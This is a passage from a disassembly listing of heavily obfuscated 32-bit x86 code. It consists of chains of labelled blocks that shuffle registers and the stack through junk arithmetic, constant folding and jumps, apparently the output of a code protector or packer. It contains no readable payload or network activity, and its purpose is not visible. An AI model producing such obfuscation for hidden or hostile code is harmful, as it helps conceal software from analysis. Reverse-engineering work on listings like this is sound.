		xchg	edx, [esp+0]
		pop	esp
		shl	[esp-6E94h+arg_6E8A+2],	cl
		pushf
		jmp	loc_5A4A57
; ---------------------------------------------------------------------------


loc_59A817:				; CODE XREF: sub_581EE9+13189j
		pop	[esp-6E96h+arg_6E8E]
		jmp	loc_596A6E
; ---------------------------------------------------------------------------


loc_59A81F:				; CODE XREF: sub_581EE9+21097j
		add	edx, 4
		jmp	loc_5A02A0
; ---------------------------------------------------------------------------


loc_59A827:				; CODE XREF: sub_581EE9+124CDj
		neg	eax
		xor	eax, 0CB82AC3Ah
		mov	ecx, eax
		jmp	loc_59E028
; ---------------------------------------------------------------------------


loc_59A835:				; CODE XREF: sub_581EE9+198B8j
		shr	ebp, 1
		jmp	loc_5A6FFF
; ---------------------------------------------------------------------------


loc_59A83C:				; CODE XREF: sub_581EE9+13548j
		mov	bh, 40h
		sub	esp, 4
		mov	[esp-6E62h+arg_6E58+2],	eax
		mov	al, 0C9h
		jmp	loc_596ABA
; ---------------------------------------------------------------------------


loc_59A84B:				; CODE XREF: sub_581EE9+106B4j
		xor	ecx, esi
		pop	esi
		add	edi, ecx
		mov	ecx, [esp-6EB0h+arg_6EA8]
		add	esp, 4
		xor	eax, edi
		pop	edi
		push	0DFDh
		mov	[esp-6EB4h+arg_6EAC], esi
		push	71B2h
		mov	[esp-6EB0h+arg_6EA8], eax
		mov	eax, 16D76482h
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], ebx
		jmp	loc_5A430E
; ---------------------------------------------------------------------------


loc_59A87C:				; CODE XREF: sub_581EE9+233A1j
		mov	eax, 65CB3F6Ah
		mov	edx, eax
		mov	eax, [esp-6EACh+arg_6EA4]
		add	esp, 4
		jmp	loc_5A0110
; ---------------------------------------------------------------------------


loc_59A88E:				; CODE XREF: sub_581EE9+182E5j
		xchg	ecx, [esp-6E76h+arg_6E6E]
		mov	esp, [esp-6E76h+arg_6E6E]
		jmp	loc_59BDC0
; ---------------------------------------------------------------------------


loc_59A899:				; CODE XREF: sub_581EE9+16C65j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 12A206F2h
		jmp	loc_5A6CD2
; ---------------------------------------------------------------------------


loc_59A8AD:				; CODE XREF: sub_581EE9+241EEj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6E72h+arg_6E68+2]
		pop	esp
		mov	[esp-6E76h+arg_6E6E], edx
		jmp	loc_5927A9
; ---------------------------------------------------------------------------


loc_59A8C7:				; CODE XREF: sub_581EE9+1128Cj
		sub	al, 0Dh
		sub	al, 73h
		pop	edx
		add	al, bl
		sub	esp, 4
		mov	[esp-6E52h+arg_6E48+2],	edx
		mov	dl, 64h
		shr	dl, 2
		xor	dl, 1Ah
		neg	dl
		jmp	loc_599DAA
; ---------------------------------------------------------------------------


loc_59A8E6:				; CODE XREF: sub_581EE9+1442Dj
		add	esp, 4
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, 25F10E71h
		sub	edi, edx
		add	edi, 25F10E71h
		mov	edx, [esp-6EB2h+arg_6EA8+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A6BB0
; ---------------------------------------------------------------------------


loc_59A914:				; CODE XREF: sub_581EE9+15136j
		mov	ecx, edx
		mov	edx, [esp-6E58h+arg_6E50]
		jmp	loc_594EF2
; ---------------------------------------------------------------------------


loc_59A91E:				; CODE XREF: sub_581EE9+12812j
		pop	esi
		xor	ebp, 629D18DEh
		push	ecx
		mov	ecx, 2C825AF5h
		jmp	loc_5994CF
; ---------------------------------------------------------------------------


loc_59A930:				; CODE XREF: sub_581EE9+23499j
		sub	ebx, 0C1B0870h
		jmp	loc_59C77D
; ---------------------------------------------------------------------------


loc_59A93B:				; CODE XREF: sub_581EE9+1C404j
		mov	ebp, 1C8E12E3h
		jmp	loc_5A107A
; ---------------------------------------------------------------------------


loc_59A945:				; CODE XREF: sub_581EE9+2200Aj
		sub	esp, 4
		mov	[esp-6E7Ch+arg_6E72+2],	esp
		push	edx
		jmp	loc_5A41F6
; ---------------------------------------------------------------------------


loc_59A954:				; CODE XREF: sub_581EE9+1267Aj
		push	[esp-6E8Ch+arg_6E84]
		mov	edx, [esp-6E88h+arg_6E80]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6E88h+arg_6E80]
		pop	esp
		push	edi
		mov	edi, 704C2E33h
		push	eax
		mov	eax, edi
		mov	ebx, eax
		jmp	loc_5A211C
; ---------------------------------------------------------------------------


loc_59A97E:				; CODE XREF: sub_581EE9+19695j
		neg	eax
		sub	eax, 0A0F8EF9Ch
		add	edx, eax
		pop	eax
		sub	edx, 4
		xchg	edx, [esp-6E88h+arg_6E80]
		pop	esp
		jmp	loc_596A10
; ---------------------------------------------------------------------------


loc_59A997:				; CODE XREF: sub_581EE9+1FBDBj
		pop	eax
		push	ecx
		jmp	loc_59EADE
; ---------------------------------------------------------------------------


loc_59A99E:				; CODE XREF: sub_581EE9+24AEDj
		mov	edi, ebp
		pop	ebp
		or	ebp, edi
		pop	edi
		sub	ebp, 30F405C3h
		jmp	loc_5A1298
; ---------------------------------------------------------------------------


loc_59A9AF:				; CODE XREF: sub_581EE9+1027Bj
		mov	esp, [esp-6EA2h+arg_6E9A]
		or	eax, eax
		jz	loc_5990A4
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 25DA2B88h
		add	[esp-6E9Ah+arg_6E96], eax
		mov	eax, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		push	[esp-6E9Eh+arg_6E96]
		pop	ecx
		add	esp, 4
		push	1225h
		mov	[esp-6E9Eh+arg_6E96], eax
		push	esi
		push	629127AEh
		pop	esi
		shr	esi, 1
		xor	esi, 49108F37h
		jmp	loc_5A169D
; ---------------------------------------------------------------------------


loc_59A9F3:				; CODE XREF: sub_581EE9+24E8Bj
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp-6E9Eh+arg_6E96]
		pop	esp
		mov	[esp-6EA2h+arg_6E9A], ebx
		push	ebp
		mov	ebp, 0CD03EC1h
		neg	ebp
		jmp	loc_59DCD8
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp-6E9Ah+arg_6E92], ebx
		jmp	loc_594917
; ---------------------------------------------------------------------------


loc_59AA15:				; CODE XREF: sub_581EE9+14114j
		mov	[esp-6E5Ch+arg_6E54], esi
		mov	esi, esp
		push	eax
		push	edx
		mov	edx, 466F2837h
		add	edx, 5D8106F9h
		neg	edx
		or	edx, 6DA55250h
		jmp	loc_59D8B1
; ---------------------------------------------------------------------------


loc_59AA34:				; CODE XREF: sub_581EE9+1C468j
		sub	esp, 4
		mov	[esp-6E50h+arg_6E48], edx
		push	430F36DEh
		jmp	loc_599B96
; ---------------------------------------------------------------------------


loc_59AA44:				; CODE XREF: sub_581EE9+1E8DFj
		push	ebx
		push	[esp-6E48h+arg_6E3E+2]
		mov	eax, [esp-6E44h+arg_6E3A+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E44h+arg_6E3A+2],	edx
		mov	edx, esp
		push	74F6h
		mov	[esp-6E40h+arg_6E36+2],	ecx
		push	edi
		mov	edi, 298A7F8Ah
		jmp	loc_594972
; ---------------------------------------------------------------------------


loc_59AA6C:				; CODE XREF: sub_581EE9+225FEj
		pop	edi
		pop	edx
		not	ebx
		sub	ebx, 0ED610DE2h
		add	ebp, ebx
		pop	ebx
		xor	esi, ebp
		jmp	loc_5962BD
; ---------------------------------------------------------------------------


loc_59AA80:				; CODE XREF: sub_581EE9+2291Cj
		push	[esp-6E48h+arg_6E3E+2]
		jmp	loc_5A0EED
; ---------------------------------------------------------------------------


loc_59AA88:				; CODE XREF: sub_581EE9+1EB36j
		and	ecx, 4C4A0712h
		add	ecx, 9A05AE3h
		or	ecx, 7D473B4Fh
		sub	ecx, 28F949C7h
		add	edx, ecx
		mov	ecx, [esp-6E44h+arg_6E3A+2]
		jmp	loc_5A1AB9
; ---------------------------------------------------------------------------


loc_59AAAA:				; CODE XREF: sub_581EE9+1D68Fj
		xchg	edx, [esp-6E44h+arg_6E3A+2]
		pop	esp
		sub	esi, 1DB00986h
		add	esi, eax
		push	23BDh
		mov	[esp-6E44h+arg_6E3A+2],	edi
		mov	edi, 1D505D51h
		add	edi, offset byte_5FAC35
		add	esi, edi
		pop	edi
		jmp	loc_599EF8
; ---------------------------------------------------------------------------


loc_59AAD1:				; CODE XREF: sub_581EE9+199FFj
		mov	[esp-6E48h+arg_6E3E+2],	edx
		push	6A7B3ED5h
		pop	edx
		dec	edx
		push	ebx
		jmp	loc_5975A2
; ---------------------------------------------------------------------------


loc_59AAE1:				; CODE XREF: sub_581EE9+1E0E2j
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		push	7927h
		mov	[esp-6E44h+arg_6E3A+2],	ebp
		push	[esp-6E44h+arg_6E3E+2]
		push	[esp-6E40h+arg_6E36+2]
		mov	ebp, [esp+0]
		add	esp, 4
		add	esp, 4
		pop	[esp-6E44h+arg_6E3A+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp-6E48h+arg_6E3E+2],	ebx
		push	ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_59D1E5
; ---------------------------------------------------------------------------


loc_59AB1F:				; CODE XREF: sub_581EE9+16174j
		pop	esp
		mov	[esp-6E72h+arg_6E68+2],	edi
		push	4
		push	[esp-6E6Eh+arg_6E64+2]
		pop	edi
		push	eax
		jmp	loc_59D738
; ---------------------------------------------------------------------------


loc_59AB32:				; CODE XREF: sub_581EE9+15C51j
		and	ebp, 6B761102h
		add	ebp, 3DFD1628h
		sub	ebp, 1
		shr	ebp, 4
		jmp	loc_5A5FB0
; ---------------------------------------------------------------------------


loc_59AB4C:				; CODE XREF: sub_581EE9+1037Cj
		pop	eax
		push	ecx
		mov	cl, 88h
		or	cl, 0BFh
		jmp	loc_593794
; ---------------------------------------------------------------------------


loc_59AB58:				; CODE XREF: sub_581EE9+24C1Fj
		sub	di, 1
		jmp	loc_597C7C
; ---------------------------------------------------------------------------


loc_59AB62:				; CODE XREF: sub_581EE9+1AA55j
		pop	edi
		add	ecx, eax
		push	[esp-6EB4h+arg_6EAC]
		pop	eax
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, 76562D8h
		inc	edx
		jmp	loc_5A1087
; ---------------------------------------------------------------------------


loc_59AB82:				; CODE XREF: sub_581EE9+22CB2j
		mov	cl, 7
		neg	cl
		shr	cl, 6
		shr	cl, 7
		jmp	loc_59A16E
; ---------------------------------------------------------------------------


loc_59AB91:				; CODE XREF: sub_581EE9+104AFj
		mov	[esp-6EACh+arg_6EA4], ebx
		push	edx
		jmp	loc_5920AE
; ---------------------------------------------------------------------------


loc_59AB9A:				; CODE XREF: sub_581EE9+10387j
		add	esi, eax
		pop	eax
		jmp	loc_5A3803
; ---------------------------------------------------------------------------


loc_59ABA2:				; CODE XREF: sub_581EE9+1D73Dj
		xor	esi, eax
		mov	eax, [esp-6EB4h+arg_6EAC]
		add	esp, 4
		shr	esi, 8
		jmp	loc_5A3F17
; ---------------------------------------------------------------------------


loc_59ABB2:				; CODE XREF: sub_581EE9+2325Ej
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp-6EB0h+arg_6EA8]
		add	esp, 4
		jmp	loc_59683B
; ---------------------------------------------------------------------------


loc_59ABCB:				; CODE XREF: sub_581EE9+121CDj
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5952C0
; ---------------------------------------------------------------------------


loc_59ABD3:				; CODE XREF: sub_581EE9+1F677j
		mov	edx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		add	ebx, 43D1106Bh
		push	ebp
		push	3A2144CFh
		pop	ebp
		and	ebp, 2E8C4446h
		jmp	loc_597D86
; ---------------------------------------------------------------------------


loc_59ABF1:				; CODE XREF: sub_581EE9+12383j
		push	378h
		jmp	loc_593DB8
; ---------------------------------------------------------------------------


loc_59ABFB:				; CODE XREF: sub_581EE9+13E50j
		add	esp, 4
		jmp	loc_5960C6
; ---------------------------------------------------------------------------


loc_59AC06:				; CODE XREF: sub_581EE9+1D3C7j
		push	[esp-6E84h+arg_6E7C]
		pop	edx
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp-6E88h+arg_6E80]
		add	esp, 4
		or	edx, eax
		jmp	loc_59B8D6
; ---------------------------------------------------------------------------


loc_59AC1C:				; CODE XREF: sub_581EE9+1FF63j
		pop	[esp-6E8Ch+arg_6E84]
		jmp	loc_598179
; ---------------------------------------------------------------------------


loc_59AC24:				; CODE XREF: sub_581EE9+1B2A1j
		push	ebp
		jmp	loc_5A4200
; ---------------------------------------------------------------------------


loc_59AC2A:				; CODE XREF: sub_581EE9+1DA12j
		shr	edx, 4
		jmp	loc_592BF4
; ---------------------------------------------------------------------------


loc_59AC32:				; CODE XREF: sub_581EE9+120E8j
		xchg	ebx, [esp-6EB4h+arg_6EAC]
		pop	esp
		xor	eax, [esp+0]
		xor	[esp+0], eax
		jmp	loc_59251C
; ---------------------------------------------------------------------------


loc_59AC41:				; CODE XREF: sub_581EE9+24741j
		push	ebx
		push	edi
		mov	edi, 5E853DA5h
		push	eax
		mov	eax, 0E567D16h
		neg	eax
		not	eax
		or	eax, 1893512Bh
		push	ebx
		push	20581AA2h
		pop	ebx
		jmp	loc_5A3A5F
; ---------------------------------------------------------------------------


loc_59AC63:				; CODE XREF: sub_581EE9+17125j
		push	esi
		not	[esp-6ECAh+arg_6EC2]
		pop	esi
		push	edx
		mov	edx, 36E138A6h
		shl	edx, 8
		neg	edx
		push	eax
		mov	eax, 2A831611h
		xor	edx, eax
		jmp	loc_5A235C
; ---------------------------------------------------------------------------


loc_59AC80:				; CODE XREF: sub_581EE9+1AB2Cj
		add	edx, 49650FB1h
		push	ecx
		jmp	loc_59BDD4
; ---------------------------------------------------------------------------


loc_59AC8C:				; CODE XREF: sub_581EE9+146D1j
		push	ecx
		mov	ch, 82h
		jmp	loc_5A1877
; ---------------------------------------------------------------------------


loc_59AC94:				; CODE XREF: sub_581EE9+13C2Fj
		pop	edx
		add	eax, edx
		jmp	loc_59F081
; ---------------------------------------------------------------------------


loc_59AC9C:				; CODE XREF: sub_581EE9+15A46j
		xor	edi, 79601BD6h
		or	ebp, edi
		mov	edi, [esp-6E76h+arg_6E6E]
		jmp	loc_596B68
; ---------------------------------------------------------------------------


loc_59ACAC:				; CODE XREF: sub_581EE9+16058j
		pop	ebx
		or	edx, 53E02871h
		jmp	loc_59FF5B
; ---------------------------------------------------------------------------


loc_59ACB8:				; CODE XREF: sub_581EE9+11D59j
		sub	dh, 0B4h
		add	al, dh
		jmp	loc_593777
; ---------------------------------------------------------------------------


loc_59ACC2:				; CODE XREF: sub_581EE9+24806j
		mov	edi, 7E0A2D0Eh
		jmp	loc_592A6E
; ---------------------------------------------------------------------------


loc_59ACCC:				; CODE XREF: sub_581EE9+13128j
		xor	ecx, ebx
		jmp	loc_593705
; ---------------------------------------------------------------------------
		push	[esp-6EA8h+arg_6E9E+2]
		push	[esp-6EA4h+arg_6E9A+2]
		jmp	loc_5A6793
; ---------------------------------------------------------------------------


loc_59ACDE:				; CODE XREF: sub_581EE9+14FEFj
		pop	ebp
		jmp	loc_59BDF9
; ---------------------------------------------------------------------------


loc_59ACE4:				; CODE XREF: sub_581EE9+1FA16j
		push	ecx
		mov	ecx, 2
		add	eax, 42465F59h
		add	eax, ecx
		sub	eax, 42465F59h
		pop	ecx
		sub	esp, 4
		jmp	loc_59B8B2
; ---------------------------------------------------------------------------


loc_59ACFF:				; CODE XREF: sub_581EE9+19D4Ej
		dec	ebp
		shr	ebp, 4
		jmp	loc_5998E6
; ---------------------------------------------------------------------------


loc_59AD08:				; CODE XREF: sub_581EE9+1E83Aj
		add	edx, 4
		jmp	loc_59E5B7
; ---------------------------------------------------------------------------


loc_59AD13:				; CODE XREF: sub_581EE9+1B46Cj
		mov	edx, [esp-6E5Ah+arg_6E50+2]
		add	esp, 4
		sub	al, cl
		pop	ecx
		add	al, 7Eh
		add	al, bl
		sub	al, 7Eh
		push	edx
		jmp	loc_5A173F
; ---------------------------------------------------------------------------


loc_59AD2B:				; CODE XREF: sub_581EE9+1E847j
		or	dh, 84h
		push	cx
		push	eax
		mov	al, 53h
		mov	cl, al
		pop	eax
		xor	dh, cl
		pop	cx
		sub	cl, dh
		pop	edx
		mov	bl, cl
		mov	ecx, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		xor	bl, ch
		push	[esp-6E66h+arg_6E5C+2]
		pop	ecx
		jmp	loc_5A589F
; ---------------------------------------------------------------------------


loc_59AD53:				; CODE XREF: sub_581EE9+1981Ej
		pop	esp
		add	esi, 2
		xor	esi, [esp-6E6Ah+arg_6E60+2]
		xor	[esp-6E6Ah+arg_6E60+2],	esi
		xor	esi, [esp-6E6Ah+arg_6E60+2]
		jmp	loc_5A28EE
; ---------------------------------------------------------------------------


loc_59AD68:				; CODE XREF: sub_581EE9+1DECCj
		push	eax
		mov	eax, 768811B1h
		inc	eax
		shr	eax, 2
		push	ebp
		mov	ebp, 423232Bh
		or	eax, ebp
		jmp	loc_5979D6
; ---------------------------------------------------------------------------


loc_59AD7F:				; CODE XREF: sub_581EE9+17748j
		xor	edx, 4F8049E7h
		sub	edx, 9A5C6FFh
		sub	edi, edx
		pop	edx
		sub	edx, edi
		pop	edi
		sub	edx, 0BED2CA1h
		xchg	ebp, edx
		inc	ebp
		xchg	ebp, edx
		jmp	loc_5944D6
; ---------------------------------------------------------------------------


loc_59ADA1:				; CODE XREF: sub_581EE9+1801Bj
		push	ebp
		mov	ebp, 37E54250h
		push	ecx
		jmp	loc_596EED
; ---------------------------------------------------------------------------


loc_59ADAD:				; CODE XREF: sub_581EE9+16B47j
		push	edx
		jmp	loc_59F41C
; ---------------------------------------------------------------------------


loc_59ADB3:				; CODE XREF: sub_581EE9+19D90j
		shr	ecx, 3
		neg	ecx
		xor	ecx, 0C37565Eh
		jmp	loc_594E21
; ---------------------------------------------------------------------------


loc_59ADC3:				; CODE XREF: sub_581EE9+147A5j
		pop	ebp
		push	ecx
		mov	ecx, 4EE931F6h
		not	ecx
		or	ecx, 2B244E74h
		jmp	loc_59EB3C
; ---------------------------------------------------------------------------


loc_59ADD7:				; CODE XREF: sub_581EE9+1BBADj
		not	ebp
		add	ebp, 3BC82205h
		sub	ebp, 3ED211B8h
		sub	esp, 4
		mov	[esp-6E9Eh+arg_6E96], edx
		mov	edx, 597B61ECh
		add	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		sub	esi, 3EA4311Eh
		sub	esi, 0C3FFE66Bh
		add	ebx, esi
		jmp	loc_59D95F
; ---------------------------------------------------------------------------


loc_59AE0C:				; CODE XREF: sub_581EE9+22D7Ej
		or	esi, 66ED7EDCh
		xor	esi, 9F778E37h
		jmp	loc_5A35D3
; ---------------------------------------------------------------------------


loc_59AE1D:				; CODE XREF: sub_581EE9+1088Dj
		add	esp, 4
		add	edx, 4
		push	6B69h
		mov	[esp-6EC0h+arg_6EB6+2],	ebx
		push	edi
		mov	edi, 49D42674h
		dec	edi
		sub	esp, 4
		mov	[esp+0], edx
		push	ebp
		mov	ebp, 4FC4858h
		jmp	loc_5A3ABC
; ---------------------------------------------------------------------------


loc_59AE49:				; CODE XREF: sub_581EE9+17D76j
		not	ebp
		inc	ebp
		inc	ebp
		dec	ebp
		xchg	eax, ebp
		jmp	loc_5A2E2B
; ---------------------------------------------------------------------------


loc_59AE54:				; CODE XREF: sub_581EE9+1A513j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_5A68F7
; ---------------------------------------------------------------------------


loc_59AE66:				; CODE XREF: sub_581EE9+17673j
		sub	edx, 4
		xchg	edx, [esp-6E8Ah+arg_6E80+2]
		pop	esp
		mov	[esp-6E8Eh+arg_6E84+2],	ecx
		sub	esp, 4
		mov	[esp-6E8Ah+arg_6E80+2],	esp
		add	[esp-6E8Ah+arg_6E80+2],	4
		pop	ecx
		push	esi
		mov	esi, 4
		jmp	loc_597390
; ---------------------------------------------------------------------------


loc_59AE8C:				; CODE XREF: sub_581EE9+1D487j
		mov	[esp-6E8Ah+arg_6E80+2],	edx
		jmp	loc_59864C
; ---------------------------------------------------------------------------


loc_59AE94:				; CODE XREF: sub_581EE9+1DAD9j
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_59A388
; ---------------------------------------------------------------------------


loc_59AEA8:				; CODE XREF: sub_581EE9+20E6Fj
		add	ebx, 34B72714h
		add	ebx, 5C3D2740h
		sub	ebx, 5FD43B84h
		push	[esp-6E8Ah+arg_6E80+2]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_5A1565
; ---------------------------------------------------------------------------


loc_59AEC7:				; CODE XREF: sub_581EE9+1A7DEj
		pop	esp
		mov	[esp-6E8Eh+arg_6E84+2],	esp
		add	[esp-6E8Eh+arg_6E84+2],	4
		pop	ecx
		add	ecx, 4
		sub	ecx, 2
		xchg	ecx, [esp-6E92h+arg_6E8A]
		pop	esp
		mov	word ptr [esp-6E96h+arg_6E8E], bx
		jmp	loc_5960AE
; ---------------------------------------------------------------------------


loc_59AEE9:				; CODE XREF: sub_581EE9+22D04j
		pop	esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5955BB
; ---------------------------------------------------------------------------


loc_59AEF7:				; CODE XREF: sub_581EE9+215FBj
		mov	[esp-6E9Ah+arg_6E92], edi
		jmp	loc_594DF1
; ---------------------------------------------------------------------------


loc_59AEFF:				; CODE XREF: sub_581EE9+21FA6j
		pop	edx
		sub	ax, bx
		push	cx
		jmp	loc_592AF9
; ---------------------------------------------------------------------------


loc_59AF0A:				; CODE XREF: sub_581EE9+200EDj
		xor	edx, eax
		mov	eax, [esp-6E9Ch+arg_6E92+2]
		push	ebx
		push	esp
		jmp	loc_5A43A5
; ---------------------------------------------------------------------------


loc_59AF16:				; CODE XREF: sub_581EE9+1AA20j
		inc	esi
		jmp	loc_5A3D04
; ---------------------------------------------------------------------------


loc_59AF1C:				; CODE XREF: sub_581EE9+1B969j
		add	esp, 4
		push	[esp-6E98h+arg_6E8E+2]
		push	[esp-6E94h+arg_6E8A+2]
		pop	eax
		jmp	loc_59B6D3
; ---------------------------------------------------------------------------


loc_59AF2E:				; CODE XREF: sub_581EE9+11830j
		pop	eax
		dec	ch
		push	3C02h
		mov	[esp-6E86h+arg_6E7C+2],	ebx
		jmp	loc_5984B6
; ---------------------------------------------------------------------------


loc_59AF3E:				; CODE XREF: sub_581EE9+165B9j
		add	esi, 4
		sub	esi, 4
		jmp	loc_59365E
; ---------------------------------------------------------------------------


loc_59AF4F:				; CODE XREF: sub_581EE9+19E8Bj
		xchg	ebp, edi
		xchg	ebx, ebp
		jmp	loc_5990D5
; ---------------------------------------------------------------------------


loc_59AF58:				; CODE XREF: sub_581EE9+155C9j
		sub	eax, esi
		add	eax, 70914F6Ah
		mov	esi, [esp+0]
		push	esi
		mov	esi, esp
		jmp	loc_59679A
; ---------------------------------------------------------------------------


loc_59AF6A:				; CODE XREF: sub_581EE9+16C8Cj
		mov	[esp-6E7Eh+arg_6E76], ebx
		push	623Fh
		mov	[esp-6E7Ah+arg_6E72], esp
		add	[esp-6E7Ah+arg_6E72], 4
		push	[esp-6E7Ah+arg_6E72]
		jmp	loc_59F97F
; ---------------------------------------------------------------------------


loc_59AF84:				; CODE XREF: sub_581EE9+1E7FFj
		add	esp, 4
		add	ebx, 4
		push	edx
		jmp	loc_59F67B
; ---------------------------------------------------------------------------


loc_59AF96:				; CODE XREF: sub_581EE9+12B45j
		mov	[esp-6E60h+arg_6E58], edx
		jmp	loc_5984AF
; ---------------------------------------------------------------------------


loc_59AF9E:				; CODE XREF: sub_581EE9+13D0Cj
		xor	eax, 0C54CAB11h
		add	edi, eax
		pop	eax
		jmp	loc_597844
; ---------------------------------------------------------------------------


loc_59AFAB:				; CODE XREF: sub_581EE9+1E8B3j
		push	edi
		push	ebp
		push	363D0F6Fh
		pop	ebp
		push	ebp
		neg	[esp-6E62h+arg_6E58+2]
		pop	ebp
		add	ebp, 363D0F73h
		push	ecx
		mov	ecx, ebp
		mov	edi, ecx
		mov	ecx, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		jmp	loc_597AEF
; ---------------------------------------------------------------------------


loc_59AFD1:				; CODE XREF: sub_581EE9+16D5Aj
		add	ebp, 4
		jmp	loc_59B557
; ---------------------------------------------------------------------------


loc_59AFDC:				; CODE XREF: sub_581EE9+1A235j
		sub	esi, 67994A46h
		mov	ecx, [esp-6E9Ah+arg_6E92]
		push	1A86h
		mov	[esp-6E96h+arg_6E8E], edx
		jmp	loc_5924E0
; ---------------------------------------------------------------------------


loc_59AFF2:				; CODE XREF: sub_581EE9+19C35j
		xor	esi, 37C97BBDh
		add	esi, 0FFFFFFFFh
		sub	esp, 4
		jmp	loc_59BECE
; ---------------------------------------------------------------------------


loc_59B006:				; CODE XREF: sub_581EE9+1309Dj
		sub	esi, 46A571D0h
		jmp	loc_5A214C
; ---------------------------------------------------------------------------


loc_59B011:				; CODE XREF: sub_581EE9+22FBCj
		pop	ecx
		add	ecx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5984C5
; ---------------------------------------------------------------------------


loc_59B01F:				; CODE XREF: sub_581EE9+24A19j
		push	esi
		mov	esi, esp
		push	edi
		push	ebx
		mov	ebx, 4FCC4F20h
		jmp	loc_5A3933
; ---------------------------------------------------------------------------


loc_59B02E:				; CODE XREF: sub_581EE9+101DBj
		mov	ebx, [esp-6EA6h+arg_6E9E]
		jmp	loc_59A11A
; ---------------------------------------------------------------------------


loc_59B036:				; CODE XREF: sub_581EE9+1E4D8j
		sub	ecx, edi
		pop	edi
		sub	ecx, 28D4A39h
		pop	edi
		jmp	loc_59D51E
; ---------------------------------------------------------------------------


loc_59B045:				; CODE XREF: sub_581EE9+19861j
		sub	eax, edi
		pop	edi
		push	3E2Ah
		mov	[esp-6EAEh+arg_6EA4+2],	esi
		push	24A2h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ebx
		mov	ebx, 0C7F0F84h
		mov	esi, 18DD5357h
		jmp	loc_59CB5A
; ---------------------------------------------------------------------------


loc_59B067:				; CODE XREF: sub_581EE9+1DF14j
		mov	edi, 733908AFh
		jmp	loc_5A16E3
; ---------------------------------------------------------------------------


loc_59B071:				; CODE XREF: sub_581EE9+1A571j
		mov	bp, 694Ah
		sub	bp, 76C8h
		and	bp, 721Eh
		jmp	loc_5A2846
; ---------------------------------------------------------------------------


loc_59B084:				; CODE XREF: sub_581EE9+1C689j
		pop	ebx
		jmp	loc_5A4A5C
; ---------------------------------------------------------------------------


loc_59B08A:				; CODE XREF: sub_581EE9+2405Dj
		add	edx, 10266F45h
		mov	ebx, [esp-6EAEh+arg_6EA4+2]
		add	esp, 4
		jmp	loc_5A28BD
; ---------------------------------------------------------------------------


loc_59B09B:				; CODE XREF: sub_581EE9+175C6j
		sub	ecx, 76E50E63h
		pop	ebp
		jmp	loc_5995F2
; ---------------------------------------------------------------------------


loc_59B0A7:				; CODE XREF: sub_581EE9+1FFF0j
		add	ecx, eax
		jmp	loc_5A6F1E
; ---------------------------------------------------------------------------


loc_59B0AE:				; CODE XREF: sub_581EE9+1D481j
		pop	esi
		xchg	ebx, [esp-6E7Ch+arg_6E72+2]
		pop	esp
		jmp	loc_5A1E87
; ---------------------------------------------------------------------------


loc_59B0B8:				; CODE XREF: sub_581EE9+23683j
		push	[esp-6E80h+arg_6E7C]
		pop	ebp
		jmp	loc_5943CC
; ---------------------------------------------------------------------------


loc_59B0C2:				; CODE XREF: sub_581EE9+14F1Aj
		shr	ebp, 6
		sub	ebp, 0C226D1A7h
		or	ecx, ebp
		mov	ebp, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		jmp	loc_59C8B2
; ---------------------------------------------------------------------------


loc_59B0DB:				; CODE XREF: sub_581EE9+14A77j
		push	edx
		mov	edx, 5EE53AC2h
		add	[esp+8], edx
		mov	edx, [esp-6E42h+arg_6E3A]
		jmp	loc_59BD27
; ---------------------------------------------------------------------------


loc_59B0ED:				; CODE XREF: sub_581EE9+1C054j
		add	edx, 4
		jmp	loc_593D9D
; ---------------------------------------------------------------------------


loc_59B0F8:				; CODE XREF: sub_581EE9+1C2CFj
		shl	edi, 3
		jmp	loc_593885
; ---------------------------------------------------------------------------


loc_59B100:				; CODE XREF: sub_581EE9+14EADj
		add	esi, edx
		pop	edx
		push	edx
		mov	edx, esi
		mov	edi, edx
		pop	edx
		pop	esi
		add	[esp-6E9Eh+arg_6E9A], edi
		pop	edi
		mov	eax, [esp-6EA2h+arg_6E9A]
		push	45D6h
		mov	[esp-6E9Eh+arg_6E96], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, 348D4DEEh
		add	esi, edi
		sub	esi, 348D4DEEh
		pop	edi
		push	ebp
		jmp	loc_592794
; ---------------------------------------------------------------------------


loc_59B137:				; CODE XREF: sub_581EE9+1200Bj
		xor	edi, eax
		pop	eax
		mov	eax, edi
		mov	edi, [esp-6EACh+arg_6EA4]
		add	esp, 4
		push	ecx
		mov	ecx, 4C74581Fh
		sub	eax, ecx
		jmp	loc_59E5BD
; ---------------------------------------------------------------------------


loc_59B152:				; CODE XREF: sub_581EE9+1BC32j
		mov	edx, 998DBC98h
		xor	ebx, edx
		pop	edx
		sub	eax, ebx
		pop	ebx
		push	49C6h
